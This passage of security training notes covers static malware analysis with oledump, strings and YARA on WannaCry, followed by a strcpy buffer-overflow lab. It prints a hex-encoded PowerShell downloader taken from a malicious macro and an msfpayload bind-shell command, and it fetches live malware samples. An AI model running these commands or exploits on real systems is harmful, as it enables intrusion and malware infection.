 >>> y.open = True
 >>> y.open
 True
 >>> x.open
 False
 
 -----------------------------------------------------------------------
 The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
 
 ---------------------------Paste This-----------------------------------
 
 class port(object):
     open = False
     def open_port(this):
         if not this.open:
             print("port open")
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
 ##################################
 # Day 3 Homework videos to watch #
 ##################################
 Here is your first set of youtube videos that I'd like for you to watch:
 https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
 
 
 
 
 
 
 
 
 
 
 
 
                             #######################################
 ----------- ############### # Day 4: Malware analysis with Python # ############### -----------
                             #######################################
 
 
 ###############################
 # Lesson 28: Malware Analysis #
 ###############################
 
 
 
 
 ################
 # The Scenario #
 ################
 You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
 
 
 The fastest thing you can do is perform static analysis.
 ---------------------------Type This-----------------------------------
 
 sudo pip install olefile
      infosecaddicts
 
 mkdir ~/Desktop/oledump
 
 cd ~/Desktop/oledump
 
 wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
 
 unzip oledump_V0_0_22.zip
 
 wget http://45.63.104.73/064016.zip
 
 unzip 064016.zip
      infected
 
 python oledump.py 064016.doc
 
 python oledump.py 064016.doc -s A4 -v
 -----------------------------------------------------------------------
 
 - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
 - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
 
 ---------------------------Type This-----------------------------------
 
 python oledump.py 064016.doc -s A5 -v
 -----------------------------------------------------------------------
 
 - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
 
 ---------------------------Type This-----------------------------------
 
 python oledump.py 064016.doc -s A3 -v
  -----------------------------------------------------------------------
 
 - Look for "GVhkjbjv" and you should see:
 
 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
 
 - Take that long blob that starts with 636D and finishes with 653B and paste it in:
 http://www.rapidtables.com/convert/number/hex-to-ascii.htm
 
 
 
 ###################
 # Static Analysis #
 ###################
 
 - After logging please open a terminal window and type the following commands:
 ---------------------------Type This-----------------------------------
 
 cd Desktop/
 
 wget http://45.63.104.73/wannacry.zip
 
 unzip wannacry.zip
      infected
 
 file wannacry.exe
 
 mv wannacry.exe malware.pdf
 
 file malware.pdf
 
 mv malware.pdf wannacry.exe
 
 hexdump -n 2 -C wannacry.exe
 
 -----------------------------------------------------------------------
 
 
 
 ***What is '4d 5a' or 'MZ'***
 Reference:
 http://www.garykessler.net/library/file_sigs.html
 
 
 
 ---------------------------Type This-----------------------------------
 
 
 objdump -x wannacry.exe
 
 strings wannacry.exe
 
 strings --all wannacry.exe | head -n 6
 
 strings wannacry.exe | grep -i dll
 
 strings wannacry.exe | grep -i library
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
 strings wannacry.exe | grep -i rsa
 
 strings wannacry.exe | grep -i open
 
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
 strings wannacry.exe | grep -i irc
 
 strings wannacry.exe | grep -i join
 
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 
 
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
 
 Reference
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 - Yara Rule -
 
 
 Strings:
 $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
 $s2 = “Wanna Decryptor” wide ascii nocase
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
 
 
 
 
 
 
 
 Ok, let's look for the individual strings
 
 ---------------------------Type This-----------------------------------
 
 
 strings wannacry.exe | grep -i ooops
 
 strings wannacry.exe | grep -i wanna
 
 strings wannacry.exe | grep -i wcry
 
 strings wannacry.exe | grep -i wannacry
 
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 
 
 -----------------------------------------------------------------------
 
 
 
 
 
 ####################################
 # Tired of GREP - let's try Python #
 ####################################
 Decided to make my own script for this kind of stuff in the future. I
 
 Reference1:
 http://45.63.104.73/analyse_malware.py
 
 This is a really good script for the basics of static analysis
 
 Reference:
 https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
 
 
 This is really good for showing some good signatures to add to the Python script
 
 
 Here is my own script using the signatures (started this yesterday, but still needs work):
 https://pastebin.com/guxzCBmP
 
 
 ---------------------------Type This-----------------------------------
 
 
 sudo apt install -y python-pefile
      infosecaddicts
 
 
 
 wget https://pastebin.com/raw/guxzCBmP
 
 
 mv guxzCBmP am.py
 
 
 vi am.py
 
 python am.py wannacry.exe
 
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 ##############
 # Yara Ninja #
 ##############
  ---------------------------Type This-----------------------------------
 
 cd ~/Desktop
 
 sudo apt-get remove -y yara
      infosecaddcits
 
 sudo apt -y install libtool
      infosecaddicts
 
 wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
 
 
 unzip v3.6.0.zip
 
 cd yara-3.6.0
 
 ./bootstrap.sh
 
 ./configure
 
 make
 
 sudo make install
     infosecaddicts
 
 yara -v
 
 cd ~/Desktop
 
 
 -----------------------------------------------------------------------
 
 
 NOTE:
 McAfee is giving these yara rules - so add them to the hashes.txt file
 
 Reference:
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 ----------------------------------------------------------------------------
 rule wannacry_1 : ransom
 {
     meta:
         author = "Joshua Cannell"
         description = "WannaCry Ransomware strings"
         weight = 100
         date = "2017-05-12"
 
     strings:
         $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
         $s2 = "Wanna Decryptor" wide ascii nocase
         $s3 = ".wcry" wide ascii nocase
         $s4 = "WANNACRY" wide ascii nocase
         $s5 = "WANACRY!" wide ascii nocase
         $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
 
     condition:
         any of them
 }
 
 ----------------------------------------------------------------------------
 rule wannacry_2{
     meta:
         author = "Harold Ogden"
         description = "WannaCry Ransomware Strings"
         date = "2017-05-12"
         weight = 100
 
     strings:
         $string1 = "msg/m_bulgarian.wnry"
         $string2 = "msg/m_chinese (simplified).wnry"
         $string3 = "msg/m_chinese (traditional).wnry"
         $string4 = "msg/m_croatian.wnry"
         $string5 = "msg/m_czech.wnry"
         $string6 = "msg/m_danish.wnry"
         $string7 = "msg/m_dutch.wnry"
         $string8 = "msg/m_english.wnry"
         $string9 = "msg/m_filipino.wnry"
         $string10 = "msg/m_finnish.wnry"
         $string11 = "msg/m_french.wnry"
         $string12 = "msg/m_german.wnry"
         $string13 = "msg/m_greek.wnry"
         $string14 = "msg/m_indonesian.wnry"
         $string15 = "msg/m_italian.wnry"
         $string16 = "msg/m_japanese.wnry"
         $string17 = "msg/m_korean.wnry"
         $string18 = "msg/m_latvian.wnry"
         $string19 = "msg/m_norwegian.wnry"
         $string20 = "msg/m_polish.wnry"
         $string21 = "msg/m_portuguese.wnry"
         $string22 = "msg/m_romanian.wnry"
         $string23 = "msg/m_russian.wnry"
         $string24 = "msg/m_slovak.wnry"
         $string25 = "msg/m_spanish.wnry"
         $string26 = "msg/m_swedish.wnry"
         $string27 = "msg/m_turkish.wnry"
         $string28 = "msg/m_vietnamese.wnry"
 
 
     condition:
         any of ($string*)
 }
 ----------------------------------------------------------------------------
 
 
 #######################
 # External DB Lookups #
 #######################
 
 Creating a malware database (sqlite)
 ---------------------------Type This-----------------------------------
 
 sudo apt install -y python-simplejson python-simplejson-dbg
     infosecaddicts
 
 
 
 wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
 
 
 
 python avsubmit.py -f wannacry.exe -e
 
 ----------------------------------------------------------------------------
 
 Analysis of the file can be found at:
 http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
 
 
 
 
 
 
 
 
 
 ###############################
 # Creating a Malware Database #
 ###############################
 Creating a malware database (mysql)
 -----------------------------------
 - Step 1: Installing MySQL database
 - Run the following command in the terminal:
 ---------------------------Type This-----------------------------------
 
 sudo apt install -y mysql-server
      infosecaddicts
 
 - Step 2: Installing Python MySQLdb module
 - Run the following command in the terminal:
 
 sudo apt-get build-dep python-mysqldb
      infosecaddicts
 
 sudo apt install -y python-mysqldb
      infosecaddicts
 
 Step 3: Logging in
 Run the following command in the terminal:
 
 mysql -u root -p                    (set a password of 'malware')
 
 - Then create one database by running following command:
 
 create database malware;
 
 exit;
 
 wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
 
 vi mal_to_db.py                     (fill in database connection information)
 
 python mal_to_db.py -i
 
 ------- check it to see if the files table was created ------
 
 mysql -u root -p
     malware
 
 show databases;
 
 use malware;
 
 show tables;
 
 describe files;
 
 exit;
 
 -----------------------------------------------------------------------
 
 
 - Now add the malicious file to the DB
 ---------------------------Type This-----------------------------------
 
 
 python mal_to_db.py -f wannacry.exe -u
 
 -----------------------------------------------------------------------
 
 
 - Now check to see if it is in the DB
 --------------------------Type This-----------------------------------
 
 mysql -u root -p
     malware
 
 mysql> use malware;
 
 select id,md5,sha1,sha256,time FROM files;
 
 mysql> quit;
 
 -----------------------------------------------------------------------
 
 
 
 ######################################
 # PCAP Analysis with forensicPCAP.py #
 ######################################
 ---------------------------Type This-----------------------------------
 
 cd ~/Desktop
 wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
 sudo easy_install cmd2
 
 python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
 
 ForPCAP >>> help
 
 
 Prints stats about PCAP
 ForPCAP >>> stat
 
 
 Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
 ForPCAP >>> dns
 
 ForPCAP >>> show
 
 
 Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
 ForPCAP >>> dstports
 
 ForPCAP >>> show
 
 
 Prints the number of ip source and store them.
 ForPCAP >>> ipsrc
 
 
 Prints the number of web's requests and store them
 ForPCAP >>> web
 
 
 Prints the number of mail's requests and store them
 ForPCAP >>> mail
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
 ##################################
 # Day 4 Homework videos to watch #
 ##################################
 Here is your first set of youtube videos that I'd like for you to watch:
 https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
 
 
 
 
 
 
 
 
 
 
                             ##########################################
 ----------- ############### # Day 4: Debugger automation with Python # ############### -----------
                             ##########################################
 
 In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
 
 Run the server on windows machine.
 
 Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
 
 
 
 It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy.  Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
 ---------------------------Type This-----------------------------------
 
 vim strcpy.py
 
 ./strcpy <server adress>
 
 -----------------------------------------------------------------------
 
 
 On the server machine see if the server crashes and what error it shows.
 
 Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
 
 Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
 
 Now press the run button and the binary will be in the “Running” state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused” State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...” as all the characters sent from the script are As, as shown in the figure below.
 
 
 We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands” directory, which will be automatically made available to immunity debugger at run-time.
 
 
 Now open the python shell, Create “New Window” and save it as spse-demo in the PyCommands directory mentioned above.
 
 
 
 In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
 imm.log(“Anything to log”)
 
 Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
 
 Our command will also be visible in the List of PyCommands  which are available in the Immunity.
 
 
 To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
 
 Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binary”) e.g my binary was C:\Server-Strcpy.exe
 
 
 Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
 
 Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
 
 
 
 
 Now we will use the Immunity Debugger to actually exploit the buffer overflow.
 
 As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
 
 To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
 
 
 
 Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
 
 
 
 From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
 
 Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
 
 ---------------------------Type This-----------------------------------
 
 msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90” -t c
 -----------------------------------------------------------------------
 
 This will generate a payload, append it to the buffer and run the script again.